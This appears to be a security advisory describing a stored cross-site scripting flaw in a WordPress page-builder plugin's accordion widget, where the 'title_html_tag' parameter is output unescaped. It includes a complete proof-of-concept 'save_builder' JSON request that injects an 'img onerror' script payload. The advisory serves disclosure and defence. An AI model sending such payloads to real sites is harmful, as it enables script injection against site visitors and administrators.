In the plugin, the accordion widget (includes/widgets/accordion.php) accepts a ‘title_html_tag’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request containing JavaScript in the ‘title_html_tag’ parameter, which is not filtered and is output without escaping. This JavaScript will then be executed when the saved page is viewed or previewed.
{“save_builder”:{“action”:“save_builder”,“data”:{“status”:“pending”,“elements”:[{“id”:“4710070”,“elType”:“section”,“isInner”:false,“settings”:{},“elements”:[{“id”:“bd4890a”,“elType”:“column”,“isInner”:false,“settings”:{“_column_size”:100,“_inline_size”:null},“elements”:[{“id”:“fa2d1ed”,“elType”:“widget”,“isInner”:false,“settings”:{“tabs”:[{“tab_title”:“title1”,“tab_content”:“thatsall”,“_id”:“ce05b67”},{“tab_title”:“title2”,“tab_content”:“orisit”,“_id”:“48bd168”}],“title_html_tag”:“img src="" onerror="alert(1);"”},“elements”:[],“widgetType”:“accordion”}]}]}],“settings”:{“post_title”:“accordionpoc attr”,“post_status”:“pending”}}}}